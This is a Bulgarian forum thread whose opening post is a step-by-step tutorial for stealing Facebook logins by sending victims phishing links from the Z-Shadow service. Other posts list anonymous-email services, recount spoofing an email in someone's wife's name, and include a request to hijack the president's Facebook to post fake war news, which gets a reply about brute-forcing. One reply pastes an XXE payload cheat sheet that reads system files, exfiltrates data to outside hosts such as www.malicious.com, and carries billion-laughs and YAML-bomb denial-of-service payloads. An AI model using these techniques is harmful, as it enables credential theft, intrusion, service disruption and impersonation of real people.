Здравейте ! Ето  един пример как един хакер може да ви  открадне  юзера , парола и ИП адреса от Фейсбуук.

ВНИМАНИЕ : Урока е направен с учебна цел. Как да се предпазвате и избегнете   измами на лични данни от Фейсбуук! Използването с друго предназначение е НЕЗАКОННО И ПОДСЪДНО !!!  Никой не носи отговорност за вашите дествия !!

 

Какво представлява Z-Shadow?

Z-Shadow е уеб сайт, специално разработен за хакване на акаунти в  Facebook и други социални сайтове като Facebook, Gmail и много други. Всичко, което трябва да направите, е да копирате URL адреса на сайта (фишинг страница) и да го изпратите на жертвата си. И помнете, че Facebook не блокира фалшивия URL адрес, това е специалността на Z-Shadow. Понеже пощенският URL адрес е редовно заменен с нови. Не се притеснявайте, че няма забрани за акаунти или не са прекратени, защото Z-Shadow е специално създаден за хакерство.

Всичко, което трябва да направите, е да копирате URL адреса на сайта (фишинг страница) и да го изпратите на жертвата си. И помнете, че Facebook не блокира фалшивия URL адрес, това е специалността на Z-Shadow. Понеже пощенският URL адрес е редовно заменен с нови. Всичко е доста лесно и елементарно.

1. Отидете на този адрес http://z-shadow.co
2. Когато отворите zshadow.co, просто кликнете върху бутона Sign Up.
3. Сега попълнете формуляра за регистрация и кликнете върху бутона "Регистрация" в долната част на формуляра.
4. Когато успешно създадете акаунт в Z-Shadow, тогава ще се отвори страница, преди да изберете някоя услуга и да копирате някоя от връзките.
5. След като копирате връзката, изпратете тази връзка на вашите приятели, можете да изпратите тази връзка чрез чат в чата. 

За вбъдеще очаквайте още хакерски уроци.

 

Здравейте ето един начин да пратите анонимен EMAIL на приятел!!

Цитат

Условия за ползване
Тези Общи условия ("Условия") са правно споразумение между вас ("Вие", "Вашият") и Anonymousemail.me ("Anonymousemail", "ние", "нас" или "нас") и уреждаме използването на Услугите на анонимния мейл, включително мобилни приложения, уеб сайтове, софтуер, хардуер и други продукти и услуги (общо наричани "Услуги").

Приемане на условия
С използването на която и да е от Услугите Вие приемате тези Общи условия. Ако използвате услугите от името на фирма, тази фирма приема тези условия. Ако не сте съгласни с Общите условия на това споразумение, включително и с бъдещи ревизии, не използвайте и нямате достъп до нашите Услуги.

Забранени употреби
Вие се съгласявате да не използвате Услугите за някое от следните:
- Незаконни цели
- Тормоз или заплахи
- Спам или нежелана поща

Отказ от гаранции
Услугите се предоставят както е, и Anonymousemail.me се отказва от всякакви гаранции от всякакъв вид и не дава гаранция, че Услугите ще бъдат непрекъснати, стабилни или без грешки.

Изключване на отговорността
Вие изрично разбирате и се съгласявате, че Anonymousemail.me не носи отговорност за каквито и да било преки, непреки, случайни, специални, последващи или образцови щети, включително, но не само, щети за загуба на печалба, репутация, използване, данни или други нематериални загуби.

Промени
Anonymousemail.me може да преработи, измени или промени тези Общи условия и всякакви други правила и споразумения на потребителя по всяко време и по какъвто и да е начин. всички нови корекции, изменения или модификации ще бъдат публикувани тук.

Това е видеото.

Да не страдаш от катаракта на очите?

преди 5 минути, Profruit написа:

Да не страдаш от катаракта на очите?

Не съм нарушил никое правило или има друга причина.

преди 5 минути, DarkHACKER написа:

Не съм нарушил никое правило или има друга причина.

сайта не пуска, сега ще кача снимка какво става

преди 21 минути, DarkHACKER написа:

Не съм нарушил никое правило или има друга причина.

Удебелен шрифт. Прекалено големи букви. Грешки(правописни и смислови).

 

открихме топлата вода с анонимен меил

https://www.google.bg/search?client=firefox-b&dcr=0&q=min+mail+send+message&spell=1&sa=X&ved=0ahUKEwj6ganK7vPZAhXEiCwKHXW0D9cQBQglKAA&biw=1280&bih=859

преди 1 час, Без умствен капацитет написа:

открихме топлата вода с анонимен меил

https://www.google.bg/search?client=firefox-b&dcr=0&q=min+mail+send+message&spell=1&sa=X&ved=0ahUKEwj6ganK7vPZAhXEiCwKHXW0D9cQBQglKAA&biw=1280&bih=859

Това са 10 МИНУТНИ Email ове който може да се използват.

Ето няколко примерни сайтове:

https://send-email.org

http://anonymouse.org

http://www.sendanonymousemail.net

http://gilc.org/speech/anonymous/remailer.html

https://cyberatlantis.com/anonymous_email.php

Как да направите Саморазрушителни съобщения - Специални съобщения за задачите.

Видеото е направено със учебна цел!! 

Линк към сайта: destructingmessage

видео: 

 

преди 2 часа, DarkHACKER написа:

Не съм нарушил никое правило или има друга причина.

Цитат

2.12 Пропагандирането на всякакви противозаконни идеи и цели е забранено

 

Недей писа едро, че трябва да дърпам стола назад, а очите ми да преминават на нов ред през половин секунда и ми предизвиква замайване.

Колко мейла задръстваха кутията на abv.bg?

преди 9 часа, аm-аm написа:

Колко мейла задръстваха кутията на abv.bg?

ABV.BG е една от най безполезните пощи която съм виждал понеже няма опция да ти пращат SMS акогато някой ти влезе във пощата до като във GMAIL го има.

За сега мисля че от GMAIL по добра няма.

След 10хил писма ABV.BG започва да лагва и ако някой ти прати писмо идва със 30минути закъснение това му е проблема.

преди 6 часа, DarkHACKER написа:

След 10хил писма ABV.BG започва да лагва и ако някой ти прати писмо идва със 30минути закъснение това му е проблема.

Казвали са ми, че ако ти се напълни пощата не можеш да влезеш в нея, нито да ти пращат нова.

преди 34 минути, аm-аm написа:

Казвали са ми, че ако ти се напълни пощата не можеш да влезеш в нея, нито да ти пращат нова.

Това не го знаех. 

преди 6 часа, DarkHACKER написа:

След 10хил писма ABV.BG започва да лагва и ако някой ти прати писмо идва със 30минути закъснение това му е проблема.

не е вярно на работа го ползваме редовно за пренос на документи за 1-3 секунди идва

преди 2 минути, Без умствен капацитет написа:

не е вярно на работа го ползваме редовно за пренос на документи за 1-3 секунди идва

Може да пробваш като дадеш от zamunda забравена парола колко се бави около 10 - 20 минути , във gmail идва още на секундата не мога да си обесня защо така става. 

преди 5 минути, DarkHACKER написа:

Може да пробваш като дадеш от zamunda забравена парола колко се бави около 10 - 20 минути , във gmail идва още на секундата не мога да си обесня защо така става. 

може да има нещо с сървъра на замунда (защита), аз ти казвам от абж.бг до абж.бг

Ето един начин за Анонимно споделяне на файлове.

Требват ви следните програми:

OnionShare

Tor Browser

 

Това ли е определението за хакерство?
Ебахти темата!
Разгадай ми SSRF+XXE

на 18.03.2018 г. в 14:36, DarkHACKER написа:

Това не го знаех. 

И този Майк може ли да получава нови съобщения? (Преди abv-то побираше само 1GB)

Много сошъл енджинеринг трябва да се дръпне първо за да хванеш рибката на този спууфнат домейн. Пък и тва са си услуги, никакво хакерство не е. Тази част на сигурността се занимава с човешкия фактор. "Social Engineering".

Пък и тея хубустници имат XSS в страницата.

 

За мене пък icloud по-добра няма.

Имам някъде на тавана в един ЦД-та от списания един софтуер от вермето на ХП, който можеше да праща и-мейл от несъществуващ адрес.
На един нашенец му пращах от него писмо от и-мейла на жена му, понеже го знаех как се пише. Колко ли се е чудил кво става не знам.
А и като минеш през прокси и даже и ИП-то не може да ти разбере от хедърите.

Можеш да му пишеш на някого от името на директора на тотото и да се избъзикаш, че е спечелили 1 милион и му определяш среща в кабинета на дирактора, да си го получи.

Абе тая тема що не е в Празните?
Какви са тия уроци и прочиее?
Автора да го попитам какво е това? :
 

Цитат

Basic XXE

Classic XXE

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

Classic XXE Base64 encoded

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

PHP Wrapper inside XXE

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
  <contact>
    <name>Jean &xxe; Dupont</name>
    <phone>00 11 22 33 44</phone>
    <adress>42 rue du CTF</adress>
    <zipcode>75000</zipcode>
    <city>Paris</city>
  </contact>
</contacts>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "php://filter/convert.bae64-encode/resource=http://10.0.0.3" >
]>
<foo>&xxe;</foo>

Deny of service

Deny Of Service - Billion Laugh Attack

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Yaml attack

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Blind XXE

Blind XXE

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]
>
<foo>&callhome;</foo>

XXE OOB Attack (Yunusov, 2013)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>

File stored on http://publicServer.com/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;

XXE OOB with DTD and PHP filter

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

File stored on http://127.0.0.1/dtd.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">

 

на 17.03.2018 г. в 18:58, Без умствен капацитет написа:

сайта не пуска, сега ще кача снимка какво става

Как ще те пуска,кликвайки на тази връзка самият ти беше хакнат от лектора!

абе как да хакна фейсбука на румен радев?? искам да напиша, че турците ни нападат в петък и ни чака война. плс, спешно е...

преди 15 часа, kloklo написа:

абе как да хакна фейсбука на румен радев?? искам да напиша, че турците ни нападат в петък и ни чака война. плс, спешно е...

Facebook Акаунт се hackva само със bruteforce други начини не съм чувал.

Пробвам някой начини но става бавно дано да се получи но не съм сигорен ако стане ще пиша как се прави.

Много бавно търси Security Code трябва по силен интернет и машина.

 

Редактирано 4 април 20188 г. от DarkHACKER
не съм идиот (преглед на промените)